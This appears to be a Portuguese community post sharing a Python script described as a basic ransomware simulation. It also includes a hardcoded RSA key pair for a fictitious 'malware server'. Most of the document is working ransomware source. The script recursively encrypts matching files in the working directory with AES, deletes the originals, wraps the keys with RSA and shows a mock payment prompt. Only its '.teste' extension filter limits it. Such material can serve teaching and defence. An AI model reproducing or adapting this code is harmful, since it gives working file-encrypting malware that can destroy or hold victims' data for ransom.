Script básico de um ransomware
Publicado por Acquila Santos Rocha (última atualização em 24/09/2019)
[ Hits: 11.646 ]
Homepage: https://www.linkedin.com/in/acquila-santos-rocha-b8305a134/
Este script simula o funcionamento do processo de criptografia de arquivos de um ransomware genérico. Para a simulação usaremos um servidor imaginário com o respectivo par de chaves assimétricas.
Antes de executar, crie arquivos com a extensão '.teste' no diretório onde se localiza o arquivo do script e salve as chaves privada e pública do "servidor do malware" (descritas a seguir) em arquivos nomeados respectivamente como "Server-privateKey.pem" e "Server-publicKey.pem".
Chave Privada:
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAoUm6sd4fGJ/8t1L2/tx8MJqZummUEX9VyRstr7ABVq1t/t0S
wVx0I2YWcvLA4FENAOdqfWdNwPgpmKu8csybsrnx6Ea+JdS+1Yn4hGwk6jeHA3Sw
Q6OUY2uuN9veWp27qOaECQrk0IAT5FxKu02GdgRr8ABxbWPkamLeaDX+LGcxaQfU
qkAbIDYYWFn19CPlBG9fAQfyMhw4bQFVu2rC4WWEydVCYeM//kBB/yzeNV55iqp5
2gED3n3AnX5TP+QnzaFESKQnR+JFIOKzR6XI/kMlbHSFwY3Ov1+0bpPJm7VGiYzK
9eOKDOJbGz1qdNqlsn3PzbOxJ/V4ATd0QpdCXQIDAQABAoIBADzdshLFnD6Swa/9
IzDyy/sbnL/4b+RahWkrVIZkiVzIfiYcD6Pg3AMv13Dxo1ADxkB9FHbWsUUNYcU3
qho4lNlRyrS5XbCxJIM5Wgu/M/8fjVgEhTBBXxJV5J034CWaOON4eoNfFRKKAve+
zIT6sK+A46riv+tkMyLixMPW/GCMxyeuJ4R7TFBBNbFmIUZ4o2P8m5PtqoP7lt0L
T+HmXjh+eUXcsyyBRNe2rZZ38TzxpIXpt2sMEDgfvuXnoX593k+L0hnhTSTfgt+I
5oB0Qbn35fZj9ExUjCIeD6zsr4HP86mOxR+vqFoxyVk3b8ZI+0fn4XHR6Ul8TmXF
t7/atoECgYEAvhj1nCQ/OBCTqAza/cWIT3T8fKjLKa3KgWovxN8ttfYHbqyFtYJp
giPe4YJKLHbO/BmNEHNvSYG4LmrOmgEHO9HFnWLvWc5d7wCAZ1W5IIQSZCKMy8OR
/JQCJP/45D+cVe5x1RU5QJSfGzgnN7ZyHEgbC8K2WxhQF6/lVuKZ/xkCgYEA2TPx
xLsjCXJzIqK8V/v+EJCREnNNfDFIXptzvDKVZ7A8Uu7rAtHukb9ucnH7AFxx6Zfj
GfBTQdV231uRNxdezCEupkzO2xLz7CR8PFz3W/ChSpoAdUzZaNoRJtClSKlnbSIO
gvTct2tSkt7llHBlSoORafjR6awNoeE9RdoFueUCgYBxUvXQYHdjl9Y+f3Nph4GM
RKRkOEftD9LCNahGh/l7GTEzFBwdqaH2WCX9b6uCOE2KUj0bCoXUX0WKPlftzSEf
0x0ohxtDAVhUK4tgjuTu8mz4TvR6YJs95IomvoYEo7syKxSnP6DC1BbJpj8S4mvC
WmXtK+WEBslwZYalti6xuQKBgQCvUkKA7h0l7wAIoRsuWfWGIWs4XWHaMV2dIBWX
f60heRv4RWnlaNcNRlw8fMyCShyY1UU3FsndhhThzeO1eGPImbAyBCWkp/PEVN8D
SndP+zf2I8Di7hk/jWXy0s/XiwY1DRxxkHzogPSyIMFnxCG+t9yUkYe++mY2mL0A
uS+OEQKBgDiSFo4bRT8I0Nfu9H4oNVI/DR//1om3EOIdF2ZfXUDqqBkQ65v05vYT
p4sAeF5uECWQfYgLjrehcY+5GRxyrMYuPIuz8mZG6gzCHfR7VSJW+q1wJTGJFwNB
gZMCf5Tc0Tm5Tw2Lxdz8FHWGjbWZtl5VGxfrxtavPLkdY1ebP1In
-----END RSA PRIVATE KEY-----
Chave Pública:
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAoUm6sd4fGJ/8t1L2/tx8
MJqZummUEX9VyRstr7ABVq1t/t0SwVx0I2YWcvLA4FENAOdqfWdNwPgpmKu8csyb
srnx6Ea+JdS+1Yn4hGwk6jeHA3SwQ6OUY2uuN9veWp27qOaECQrk0IAT5FxKu02G
dgRr8ABxbWPkamLeaDX+LGcxaQfUqkAbIDYYWFn19CPlBG9fAQfyMhw4bQFVu2rC
4WWEydVCYeM//kBB/yzeNV55iqp52gED3n3AnX5TP+QnzaFESKQnR+JFIOKzR6XI
/kMlbHSFwY3Ov1+0bpPJm7VGiYzK9eOKDOJbGz1qdNqlsn3PzbOxJ/V4ATd0QpdC
XQIDAQAB
-----END PUBLIC KEY-----
#!/usr/bin/python # -*- coding: utf-8 -*- import os, zlib from Crypto import Random from Crypto.Cipher import AES from Crypto.PublicKey import RSA from Crypto.Cipher import PKCS1_OAEP def _pad(s): bs = 32 return s + (bs - len(s) % bs) * chr(bs - len(s) % bs) def _unpad(s): return s[:-ord(s[len(s)-1:])] class Attack(): def __init__(self): key_object = RSA.generate(2048) client_private_key = key_object.exportKey('PEM') public_object = key_object.publickey() client_public_key = public_object.exportKey('PEM') #Adiciona a chave privada do cliente a um arquivo.pem with open('Client-privateKey.pem', 'w+') as file: file.write(client_private_key) file.close() print ("[*] Chave privada RSA do cliente gerada com sucesso") #Adiciona a chave pública do cliente a um arquivo.pem with open('Client-publicKey.pem', 'w+') as file: file.write(client_public_key) file.close() print ("[*] Chave pública RSA do cliente gerada com sucesso") encrypted_client_key = self.encryptClientPrivateKey() self.Request_DecryptClientPrivateKey(encrypted_client_key); self.startAttack() @staticmethod def encryptData(data, public_key): #Importa a chave pública utilizada para criptografar PKCS1_OAEP rsa_key = RSA.importKey(public_key) rsa_key = PKCS1_OAEP.new(rsa_key) #Comprime o dado data = zlib.compress(data) chunk_size = 214 offset = 0 end_loop = False encrypted = "" while not end_loop: chunk = data[offset:offset + chunk_size] if len(chunk) % chunk_size != 0: end_loop = True chunk += " " * (chunk_size - len(chunk)) encrypted += rsa_key.encrypt(chunk) offset += chunk_size return encrypted @staticmethod def decryptData(encryptedData): file_serv = open("Server-privateKey.pem", "r") private_key = file_serv.read() file_serv.close() rsa_key = RSA.importKey(private_key) rsa_key = PKCS1_OAEP.new(rsa_key) chunk_size = 256 offset = 0 decrypted = "" while offset < len(encryptedData): chunk = encryptedData[offset: offset + chunk_size] decrypted += rsa_key.decrypt(chunk) offset += chunk_size return zlib.decompress(decrypted) def deleteClientPrivateKey(self): if os.path.exists("Client-privateKey.pem"): os.remove("Client-privateKey.pem") return True else: return False def encryptClientPrivateKey(self): file_serv = open("Server-publicKey.pem", "r") server_public_key = file_serv.read() file_serv.close() file_client = open("Client-privateKey.pem", "r") client_private_key = file_client.read() file_client.close() encrypted_client_key = self.encryptData(client_private_key, server_public_key) if self.deleteClientPrivateKey(): print ("[*] Chave privada RSA do cliente deletada com sucesso") else: print ("[*] Erro ao deletar chave privada RSA do cliente") exit(0) try: encrypted_keyFile = open("Client-privateKey.pem.CRY", "w+") encrypted_keyFile.write(encrypted_client_key) encrypted_keyFile.close() except: print("[*] Erro ao armazenar a chave privada criptografada") exit(0) print ("[*] Chave privada RSA do cliente criptografada com sucesso") print ("[*] Chave privada RSA do cliente armazenada em \"Client-privateKey.pem.CRY\"") return encrypted_client_key def Request_DecryptClientPrivateKey(self, encryptedKey): decrypted_client_key = self.decryptData(encryptedKey) print ("[*] Chave privada RSA do cliente descriptografada com sucesso") with open('Client-privateKey.pem', 'w+') as file: file.write(decrypted_client_key) file.close() print ("[*] Arquivo 'Client-privateKey.pem' gerado") return decrypted_client_key def encryptFile(self, filename): iv = Random.new().read(AES.block_size) key = os.urandom(32) cipher = AES.new(key, AES.MODE_CBC, iv) with open(filename, "r") as unc_file: plaintext = unc_file.read() plaintext = _pad(plaintext) unc_file.close() crypt = (iv + cipher.encrypt(plaintext)) with open(filename + ".CRY", 'w') as enc_file: enc_file.write(crypt) enc_file.close() return key def decryptAESKey(self, key, client_private_key): decrypted_aes_key = client_private_key.decrypt(key) return decrypted_aes_key def decryptFile(self, filename, key): with open(filename, 'r') as encrypted_file: cipher_text = encrypted_file.read() encrypted_file.close() iv = cipher_text[:AES.block_size] cipher = AES.new(key, AES.MODE_CBC, iv) plaintext = cipher.decrypt(cipher_text[AES.block_size:]) with open(filename[:-4], "w+") as decrypted_file: decrypted_file.write(plaintext) decrypted_file.close() def startAttack(self): ext = [".teste"] files_to_enc = [] dir_cwd = os.getcwd() encrypted_aes_keys = [] for root, dir, files in os.walk(dir_cwd): for file in files: if file.endswith(tuple(ext)): files_to_enc.append(os.path.join(root, file)) print ("[!] Criptografando todos os arquivos do diretório {}".format(dir_cwd)) print ("[!] Arquivos escolhidos para criptografia {}".format(files_to_enc)) # Recuperar a chave pública do cliente file_c = open("Client-publicKey.pem", "r") client_public_key = file_c.read() file_c.close() client_public_key = RSA.importKey(client_public_key) client_public_key = PKCS1_OAEP.new(client_public_key) for file in files_to_enc: key = self.encryptFile(file) # Criptografar a chave AES 256bits usada dict_to_add = {'file': file + ".CRY", 'key': client_public_key.encrypt(key)} encrypted_aes_keys.append(dict_to_add) if os.path.exists(file): os.remove(file) else: pass print ("[*] Arquivo {} criptografado com sucesso".format(file)) if os.path.exists("Client-privateKey.pem"): os.remove("Client-privateKey.pem") else: pass option = raw_input("Digite p para efetuar o pagamento, para abortar [P/N]: ") if option == "p" or option == "P": encrypted_keyFile = open("Client-privateKey.pem.CRY", "r") encrypted_key = encrypted_keyFile.read() encrypted_keyFile.close() print ("[*] Pagamento efetuado. Iniciar sequência de descriptografia") print ("[!] Requisitar chave privada ao server...") client_private_key = self.Request_DecryptClientPrivateKey(encrypted_key) client_private_key = RSA.importKey(client_private_key) client_private_key = PKCS1_OAEP.new(client_private_key) ext = [".CRY"] files_to_dec = [] for root, dir, files in os.walk(dir_cwd): for file in files: if file.endswith(tuple(ext)): files_to_dec.append(os.path.join(root, file)) print ("[!] Descriptografando todos os arquivos do diretório {}".format(dir_cwd)) print ("[!] Arquivos que serão descriptografados {}".format(files_to_enc)) for file in files_to_dec: print ("[!] Descriptografando arquivo {}".format(file)) for line in encrypted_aes_keys: if line['file'] == file: decrypted_aes_key = self.decryptAESKey(line['key'], client_private_key) self.decryptFile(file, decrypted_aes_key) print ("[*] Arquivo {} descriptografado com sucesso".format(file)) ext = [".CRY"] for root, dir, files in os.walk(dir_cwd): for file in files: if file.endswith(tuple(ext)): if os.path.exists(file): os.remove(file) else: pass print ("[*] Fim".format(file)) if __name__ == '__main__': a = Attack() if os.path.exists("Client-privateKey.pem"): os.remove("Client-privateKey.pem") else: pass if os.path.exists("Client-publicKey.pem"): os.remove("Client-publicKey.pem") else: pass if os.path.exists("Client-privateKey.pem.CRY"): os.remove("Client-privateKey.pem.CRY") else: pass
RT CRASH - "Quebrando" hash MD5, SHA1, SHA224, SHA256, SHA384 e SHA512
DSearch - (Dir Search): script python para descobrir diretórios de servidores.
Cracker De Senha (cupp.py) 1.0
Nenhum comentário foi encontrado.
Compartilhando a tela do Computador no Celular via Deskreen
Como Configurar um Túnel SSH Reverso para Acessar Sua Máquina Local a Partir de uma Máquina Remota
Configuração para desligamento automatizado de Computadores em um Ambiente Comercial
Efeito "livro" em arquivos PDF
Como resolver o erro no CUPS: Unable to get list of printer drivers
Flatpak: remover runtimes não usados e pacotes
Mudar o gerenciador de login (GDM para SDDM e vice-versa) - parte 2
Partição compartilhada entre Linux e Windows não permite alterações (1)
Linux não salva alterações feitas. (2)
scritp para a veriuficação se pacotes estão instalados no sistema. (2)
Diferença entre apt e aptitud (4)
Dificuldade em configurar servidor SSH para não aceitar senhas. [RESOL... (0)
[Python] Automação de scan de vulnerabilidades
[Python] Script para analise de superficie de ataque
[Shell Script] Novo script para redimensionar, rotacionar, converter e espelhar arquivos de imagem
[Shell Script] Iniciador de DOOM (DSDA-DOOM, Doom Retro ou Woof!)
[Shell Script] Script para adicionar bordas às imagens de uma pasta